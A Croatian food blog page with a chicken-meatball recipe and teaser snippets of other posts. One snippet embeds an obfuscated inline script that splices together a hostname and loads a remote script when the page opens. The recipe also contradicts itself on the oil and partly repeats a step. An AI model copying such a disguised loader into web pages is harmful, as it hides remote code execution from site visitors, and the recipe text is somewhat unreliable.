PILEĆE OKRUGLICE S ĐUMBIROM I MENTOM 🐔





Pileće okruglice s đumbirom i mentom 



Mirisne, sočne i prepune svježih aroma – ove vijetnamske pileće okruglice idealan su izbor za brzu večeru koja izgleda i ima okus kao da ste se posebno potrudili. Kombinacija đumbira, češnjaka, limunske trave i mente okruglicama daje karakter, a kratko karameliziranje u šećeru stvara neodoljivu hrskavu koricu.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Pileće okruglice s đumbirom i mentom 


Sastojci:

  • 30 ml maslinova ulja
  • 3 ljute papričice (oko 30 g), sitno nasjeckane
  • 2 mlada luka (bijeli i zeleni dio), sitno nasjeckana
  • 40 g svježeg đumbira, oguljenog i sitno nasjeckanog
  • 2 češnja, sitno nasjeckana
  • 1 stabljika limunske trave, vrlo sitno nasjeckana
  • 450 g mljevene piletine
  • 20 ml sojinog umaka
  • 1 čajna žličica soli
  • 30 g svježe metvice, sitno nasjeckane
  • 150–200 ml ulja za prženje
  • 60 g smeđeg šećera

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Priprema:

  1. U manjoj tavi zagrijte kokosovo ulje na srednje laganoj vatri dok ne postane tekuće i lagano sjajno. Dodajte ljute papričice, mladi luk, đumbir, češnjak i limunsku travu. Pirjajte oko 5 minuta, tek toliko da omekšaju i zamirišu – ne smiju potamnjeti. Maknite s vatre i ostavite da se kratko ohladi.
  2. U većoj zdjeli pomiješajte mljevenu piletinu, soja umak, sol, mentu i pirjane aromate zajedno s uljem u kojem su se pirjali. Rukama mijesite smjesu nekoliko minuta dok ne postane ljepljiva i kompaktna.
  3. U dubljoj tavi zagrijte 150–200 ml ulja tako da dno bude prekriveno slojem od oko 1 cm. Ulje treba biti dobro zagrijano, ali ne smije se dimiti.
  4. Pomoću dvije žlice, koje svaki put umočite u vruće ulje, oblikujte okruglice i pažljivo ih spuštajte u ulje.
  5. Pržite ih oko 8 minuta, povremeno okrećući, dok ne dobiju lijepu zlatnosmeđu boju i budu potpuno pečene iznutra. Izvadite ih na tanjur.
  6. Toplim okruglicama dodajte smeđi šećer i lagano ih protresite da se ravnomjerno oblože.
  7. Pojačajte vatru i vratite ih u istu tavu s preostalim uljem. Pecite oko 1 minutu sa svake strane, dok se šećer ne otopi i stvori tamnu, sjajnu i lagano hrskavu koricu.
  8. ostalim uljem. Pecite oko 1 minutu sa svake strane, dok se šećer ne otopi i stvori tamnu, sjajnu i lagano hrskavu koricu. Izvadite na tanjur i poslužite.
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više